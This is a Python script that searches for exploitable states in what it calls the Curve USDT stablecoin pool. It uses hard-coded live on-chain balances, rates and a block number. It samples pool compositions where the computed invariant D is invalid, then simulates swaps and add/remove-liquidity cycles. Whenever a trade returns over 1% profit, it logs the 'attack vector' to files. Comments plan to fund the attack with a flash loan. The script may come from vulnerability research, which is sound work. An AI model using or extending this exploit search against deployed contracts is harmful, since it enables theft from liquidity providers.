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curve_vuln_test.py
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curve_vuln_test.py
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from random import seed
from random import randint
from random import uniform
from datetime import datetime
import threading
import time
import price_calcs
import numpy as np
import solver
N_COINS = 3
PRECISION_MUL = [1, 1000000000000, 1000000000000]
FEE_DENOMINATOR = 10 ** 10
PRECISION = 10 ** 18
MAX_ADMIN_FEE = 10 * 10 ** 9
MAX_FEE = 5 * 10 ** 9
MAX_A = 10 ** 6
MAX_A_CHANGE = 10
A_PRECISION = 100
amp = 2000
ADMIN_ACTIONS_DELAY = 3 * 86400
MIN_RAMP_TIME = 86400
#Expression of the invariant of the USDT pool in the contract code
def USDTpool(xp, amp, D):
'''
Return f(D), takes xp in TokenPrecision units
'''
#amp is already A*n**(n-1)
Ann = amp*N_COINS
S = 0
for _x in xp:
S += _x
if S == 0:
return 0
P = 1 #product of xi
for _x in xp:
P*= _x
return Ann*S + (1-Ann)*D - (D**(N_COINS+1))/((N_COINS**N_COINS)*P)
#More sophisticated attack:
# 1/ Find balances in the pool such that we find a D that doesn't satisfy the equality of the invariant
# 2/ Change the balances to this amount
# 3/ With these balances, try to swap an amount ~10% of the pool content
# 4/ If we get an effective price such that 1 token in gives > 1.05 tokens out, we found a solution
# 5/ Save the balances required to achieve that, save the profit
# 6/ For later: need to remove liquidity to pay back the flash loan so we'll need to code the remove_liquidity function to test it to the end but I think proving that we can swap with a broken spot price is enough
#Read by the attack contract from Compound
PRECISION_MUL = [1, 1000000000000, 1000000000000]
#Read from Etherscan for the USDT pool
fee = 4000000
admin_fee = 5000000000
def TokensToCTokens(amount, index):
return amount*PRECISION//(rates[index]//PRECISION_MUL[index])
def CTokensToTokens(amount, index):
return amount*(rates[index]//PRECISION_MUL[index])//PRECISION
def CTokensToTokensIncreasedPrecision(amount, index):
return rates[index] * amount// PRECISION
def TokensIncreasedPrecisionToCTokens(amount, index):
return amount*PRECISION//rates[index]
denoms = [10**18, 10**6, 10**6]
tokenNames = ['DAI', 'USDC', 'USDT']
cTokenNames = ['cDAI', 'cUSDC', 'USDT']
def TokensToDollars(amount, index):
return amount/denoms[index]
def CTokensToDollars(amount, index):
return CTokensToTokens(amount,index)/denoms[index]
def DollarsToCTokens(amount, index):
return TokensToCTokens(int(amount*denoms[index]),index)
def performSwap(i,j, amount_in_ctoken, attack_balances_c_tokens, current_ctokens):
#Convert that in the corresponding amount of DAI using the rates function, same as in the _xp() fucntion
amount_in_underlying = CTokensToTokens(amount_in_ctoken,i)
#Check the amount of cUSDC calculated out for that amount in
amount_out_ctokens = solver._exchange(i, j, attack_balances_c_tokens, amount_in_ctoken, rates, fee, amp)
#Convert to the corresponding amount of USDC
amount_out_underlying = CTokensToTokens(amount_out_ctokens,j)
#If we get more than x% USDC for each DAI, save the amounts required for the attack and the discrepancy in effective price
#print('swap')
#print(TokensToDollars(amount_out_underlying,j))
#print(TokensToDollars(amount_in_underlying,i))
if TokensToDollars(amount_out_underlying,j) > 1.01*TokensToDollars(amount_in_underlying,i):
print("Solution found!")
file = open("D_based_attack_solutions.txt", "a")
file.write("Iteration " + str(iteration) + "\n")
file.write("Composition of the pool returning an invalid D in underlying: " + str(attack_balances_tokens_precision[0]//PRECISION) + " DAI, " + str(attack_balances_tokens_precision[1]//PRECISION) + " USDC, " + str(attack_balances_tokens_precision[2]//PRECISION) + " USDT\n")
file.write("Composition of the pool returning an invalid D in cTokens: " + str(attack_balances_c_tokens[0]) + " cDAI, " + str(attack_balances_c_tokens[1]) + " cUSDC, " + str(attack_balances_c_tokens[2]) + " USDT\n")
file.write("Invalid D: " + str(D) + "\n")
file.write("U: " + str(u) + "\n")
file.write("Amount of tokens to add: " + str(attack_balances_c_tokens[0]-current_ctokens[0]) + " cDAI, " + str(attack_balances_c_tokens[1]-current_ctokens[1]) + " cUSDC, " + str(attack_balances_c_tokens[2]-current_ctokens[2]) + " USDT \n")
file.write("Corresponding amount in dollars: " + str(CTokensToDollars(attack_balances_c_tokens[0]-current_ctokens[0],0)) + " $DAI, " + str(CTokensToDollars(attack_balances_c_tokens[1]-current_ctokens[1],1)) + " $USDC, " + str(CTokensToDollars(attack_balances_c_tokens[2]-current_ctokens[2],2)) + " $USDT \n")
file.write("Swap " + cTokenNames[i] + " for " + cTokenNames[j] + ". Amount to swap: " + str(amount_in_ctoken) + ' ' + cTokenNames[i] + "\n")
file.write("Effective exchange rate :" + str(TokensToDollars(amount_out_underlying,j)/TokensToDollars(amount_in_underlying,i)) + "\n")
file.write("attack Vector\n")
file.write("attackAdd = [" + str(attack_balances_c_tokens[0]-current_ctokens[0]) + ", " + str(attack_balances_c_tokens[1]-current_ctokens[1]) + ", " + str(attack_balances_c_tokens[2]-current_ctokens[2]) + "]\n")
file.write("i = "+ str(i) +'\n')
file.write("j = "+ str(j) +'\n')
file.write("amount = "+ str(amount_in_ctoken) +'\n')
file.write("amountBack = "+ str(DollarsToCTokens(CTokensToDollars(amount_in_ctoken,i),j)) +'\n\n')
print("...")
file.close()
def AddRemoveLiquidityAttack(attack_balances_c_tokens,current_ctokens):
attackAdd = [attack_balances_c_tokens[i]-current_ctokens[i] for i in range(N_COINS)]
#put liquidity
(amounts,fees,D1,new_token_supply,mint_amount,new_balances) = solver.add_liquidity(attackAdd, totalSupply, current_ctokens,fee, rates, admin_fee, amp)
#take away
(new_balances,amounts,new_token_supply) = solver.remove_liquidity(mint_amount, [0,0,0], new_balances, new_token_supply)
fundsIn = sum([CTokensToDollars(attackAdd[i],i) for i in range(N_COINS)])
fundsOut = sum([CTokensToDollars(amounts[i],i) for i in range(N_COINS)])
if(fundsOut > fundsIn*1.01):
print("Solution found! AddRemove")
file = open("AddRemoveLiquidityAttack.txt", "a")
file.write("Solution found! AddRemove\n")
file.write("Add\n")
file.write(str(attackAdd[0])+', '+str(attackAdd[1])+', '+str(attackAdd[2])+'\n')
file.write("remove\n")
file.write(str(mint_amount) +'\n')
file.write("profit\n")
file.write(str(fundsIn/fundsOut) + '\n')
file.write('\n')
file.close()
#try half half
attackAdd = [(attack_balances_c_tokens[i]-current_ctokens[i])/2 for i in range(N_COINS)]
#put liquidity
(amounts,fees,D1,new_token_supply,first_mint,new_balances) = solver.add_liquidity(attackAdd, totalSupply, current_ctokens,fee, rates, admin_fee, amp)
(amounts,fees,D1,new_token_supply,second_mint,new_balances) = solver.add_liquidity(attackAdd, new_token_supply, new_balances,fee, rates, admin_fee, amp)
#take away
(new_balances,amounts,new_token_supply) = solver.remove_liquidity(first_mint+second_mint, [0,0,0], new_balances, new_token_supply)
fundsIn = sum([CTokensToDollars(attackAdd[i]*2,i) for i in range(N_COINS)])
fundsOut = sum([CTokensToDollars(amounts[i],i) for i in range(N_COINS)])
if(fundsOut > fundsIn*1.01):
print("Solution found! AddRemoveHalf")
file = open("AddRemoveLiquidityAttack.txt", "a")
file.write("Solution found! AddRemoveHalf\n")
file.write("Add\n")
file.write(str(attackAdd[0]*2)+', '+str(attackAdd[1]*2)+', '+str(attackAdd[2]*2)+'\n')
file.write("remove\n")
file.write(str(first_mint+second_mint) +'\n')
file.write("profit\n")
file.write(str(fundsIn/fundsOut) + '\n')
file.write('\n')
file.close()
##########################
####MINING PARAMETERS#####
##########################
blockNumber = 11835041
current_ctokens = [ 2236520561601012 , 3481287597858764 , 200709219245 ]
LoanAmounts = [ 2000000000000000000000000 , 2000000000000 , 2000000000000 ]
funds_avail_ctokens = [ 9492175161208640 , 9262735174877799 , 2000000000000 ]
rates = [ 210699862363827219553716955 , 215918944268682000000000000 , 1000000000000000000000000000000 ]
totalSupply = 1339745924180340483387436 # total supply of pool tokens
##########################
##########################
##########################
#Funds available in DAI(18 decimals), USDC (6 decimals), USDT (6 decimals). Assume 100M of each.
#funds_avail = [500000*10**18, 500000*10**6, 500000*10**6]
#funds_avail_ctokens = [TokensToCTokens(funds_avail[0],0), TokensToCTokens(funds_avail[1],1), TokensToCTokens(funds_avail[2],2)]#Funds available in DAI(18 decimals), USDC (6 decimals), USDT (6 decimals). Assume 100M of each.
cdai = current_ctokens[0]
cusdc = current_ctokens[1]
usdt = current_ctokens[2]
seed(None)
print('Started iteration')
iteration = 0
while True:
#Create balances in TokensIncreasedPrecision with EQUAL AMOUNTS above what is currently in the pool
fraction_to_add = uniform(0, 1)
attack_balances_c_tokens = [cdai+int(funds_avail_ctokens[0]*fraction_to_add), cusdc+int(funds_avail_ctokens[1]*fraction_to_add), usdt+int(funds_avail_ctokens[2]*fraction_to_add)]
attack_balances_tokens_precision = [CTokensToTokensIncreasedPrecision(attack_balances_c_tokens[0],0),
CTokensToTokensIncreasedPrecision(attack_balances_c_tokens[1],1),
CTokensToTokensIncreasedPrecision(attack_balances_c_tokens[2],2)]
#print('aa')
#print(attack_balances_c_tokens)
#print(attack_balances_tokens_precision)
#Get D for this pool composition
D = solver.get_D(attack_balances_tokens_precision, amp)
#Check if the D found breaks the invariant
u = USDTpool(attack_balances_tokens_precision, amp, D)
if abs(u) > 0:
#file = open("invalidAnalysis.txt", "a")
#file.write(str(attack_balances_tokens_precision[0])+','+str(attack_balances_tokens_precision[1])+','+str(attack_balances_tokens_precision[2])+','+str(D)+','+str(u) + '\n')
#file.write("Invalid D found! \n")
#file = open("invalidDs.txt", "a")
#file.write("Iteration " + str(iteration) + "\n")
#file.write("Invalid D found! \n")
#file.write("Composition of the pool returning an invalid D in cTokens: " + str(attack_balances_c_tokens[0]) + " cDAI, " + str(attack_balances_c_tokens[1]) + " cUSDC, " + str(attack_balances_c_tokens[2]) + " USDT\n")
#file.write("Invalid D: " + str(D) + "\n")
#file.write("U: " + str(u) + "\n \n")
#file.close()
##token swapping attack
performSwap(0, 1, cdai // 10, attack_balances_c_tokens, current_ctokens) #DAI -> USDC test
performSwap(1, 0, cusdc // 10, attack_balances_c_tokens, current_ctokens) #USDC -> DAI test
performSwap(0, 2, cdai // 10, attack_balances_c_tokens, current_ctokens) #DAI -> USDT test
performSwap(2, 0, usdt // 10, attack_balances_c_tokens, current_ctokens) #USDT -> DAI test
performSwap(1, 2, cusdc // 10, attack_balances_c_tokens, current_ctokens) #USDC -> USDT test
performSwap(2, 1, usdt // 10, attack_balances_c_tokens, current_ctokens) #USDT -> USDC test
##add & withdraw
try:
AddRemoveLiquidityAttack(attack_balances_c_tokens,current_ctokens)
except:
print('exception')
iteration += 1